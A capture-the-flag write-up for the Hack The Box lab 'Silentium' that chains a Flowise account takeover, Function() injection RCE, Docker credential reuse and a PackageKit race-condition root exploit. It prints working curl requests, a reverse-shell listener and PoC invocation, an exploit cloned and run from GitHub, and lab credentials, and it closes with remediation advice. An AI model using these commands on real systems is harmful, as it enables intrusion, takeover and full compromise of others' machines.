← Back to writeups

HTB Silentium: Flowise ATO + RCE → Docker Escape → PackageKit LPE (CVE-2026-41651)

Introduction

Silentium is an Easy Linux machine built around a realistic attack chain targeting a misconfigured Flowise AI platform. The path flows through three phases: unauthenticated account takeover (CVE-2025-58434), authenticated RCE (CVE-2025-59528), Docker escape via credential reuse, and local privilege escalation using CVE-2026-41651 (Pack2TheRoot) in PackageKit.

Attack Overview

[Recon]
  nmap → ports 22, 80
  ffuf vhost fuzz → staging.silentium.htb
  Flowise 3.0.5 identified

[CVE-2025-58434 - Unauthenticated ATO]
  POST /forgot-password → token leaked in response
  POST /reset-password → set Password123!
  Login as ben@silentium.htb

[CVE-2025-59528 - Authenticated RCE]
  API key copied from UI
  Function() injection via CustomMCP node
  Reverse shell → root@c78c3cceb7ba (Docker)

[Docker Escape - Credential Reuse]
  env → SMTP_PASSWORD=r04D!!_R4ge
  SSH ben@silentium.htb → user.txt

[CVE-2026-41651 - Pack2TheRoot LPE]
  LinPEAS → PackageKit 1.2.8 vulnerable
  TOCTOU race → SUID bash
  .suid_bash -p → root.txt

Reconnaissance

Nmap scan:

nmap -Pn -sC -sV -p- --min-rate 1500 -T4 10.129.245.103
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open  http    nginx 1.24.0 (Ubuntu)

Add the domain:

echo "10.129.245.103 silentium.htb" | sudo tee -a /etc/hosts

The main vhost is a static marketing site. A name appears: Ben, Head of Financial Systems.

Vhost fuzzing reveals a staging subdomain:

ffuf -u http://10.129.245.103 \
     -H "Host: FUZZ.silentium.htb" \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -fs 8753,3142 -ac

Found: staging.silentium.htb. Add it to /etc/hosts. Querying the version:

curl http://staging.silentium.htb/api/v1/version
# {"version":"3.0.5"}

Flowise 3.0.5 – vulnerable to CVE-2025-58434 and CVE-2025-59528.

Initial Foothold – CVE-2025-58434 + CVE-2025-59528

Account Takeover (CVE-2025-58434)

The /api/v1/account/forgot-password endpoint leaks a valid reset token in the response body. Target email: ben@silentium.htb.

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

Response:

{
  "username": "admin",
  "tempToken": "uncdgJ3PNd7jOLtNwPloqhIgbCJqNYwg3RLoMlUiIz4kO9BX0TimaauOgi1L0D8W"
}

Reset the password:

curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"token":"uncdgJ3PNd7jOLtNwPloqhIgbCJqNYwg3RLoMlUiIz4kO9BX0TimaauOgi1L0D8W","newPassword":"Password123!"}'

Login to obtain a session:

curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"Password123!"}' \
  -c cookies.txt

The user is isOrganizationAdmin: true.

Obtain API Key

Log into the Flowise UI at http://staging.silentium.htb/auth/login, navigate to Settings → API Keys, and copy the DefaultKey secret:

hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc

Authenticated RCE (CVE-2025-59528)

The CustomMCP node passes user-controlled input into a Function('return ' + inputString) constructor, enabling arbitrary Node.js code execution.

Start a listener:

nc -lvnp 4444

Run the public PoC:

python3 flowise_chain.py \
  -t http://staging.silentium.htb \
  --api-key hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc \
  --lhost 10.10.14.X \
  --lport 4444

A reverse shell is received as root inside a Docker container (hostname c78c3cceb7ba).

Container Escape – Credential Reuse

Check environment variables:

env

Among the output:

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_HOST=mailhog
SMTP_PASSWORD=r04D!!_R4ge
SMTP_USER=test

The SMTP password r04D!!_R4ge is reused for SSH on the host:

ssh ben@10.129.245.103
# Password: r04D!!_R4ge

User flag:

ben@silentium:~$ cat user.txt
[redacted]

Privilege Escalation – CVE-2026-41651 (Pack2TheRoot)

LinPEAS detects PackageKit version 1.2.8 in the vulnerable range (≥1.0.2 ≤1.3.4). CVE-2026-41651 abuses a TOCTOU race condition in PackageKit to install a malicious .deb and drop a SUID binary.

Exploitation:

cd /tmp
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
./cve-2026-41651

Output:

[+] SUCCESS - SUID bash at t+3000ms

Gain root:

.suid_bash -p
# whoami
root

Root flag:

cat /root/root.txt
[redacted]

Key Takeaways

VulnerabilityRoot CauseRemediation
CVE-2025-58434 (ATO)Password reset token returned in API responseSend token via email only; never expose in response body
CVE-2025-59528 (RCE)Unsafe Function() evaluation of user inputAvoid dynamic code evaluation; use safe parsers; sandbox user input
Docker credential leakageSecrets exposed in environment variablesUse secrets manager (Vault, Docker secrets); avoid env for sensitive data
Credential reuseSMTP password reused for SSHEnforce unique credentials per service
CVE-2026-41651 (PackageKit)TOCTOU race condition in PackageKit transaction handlingUpgrade PackageKit to ≥1.3.5; disable PackageKit if not needed

Resources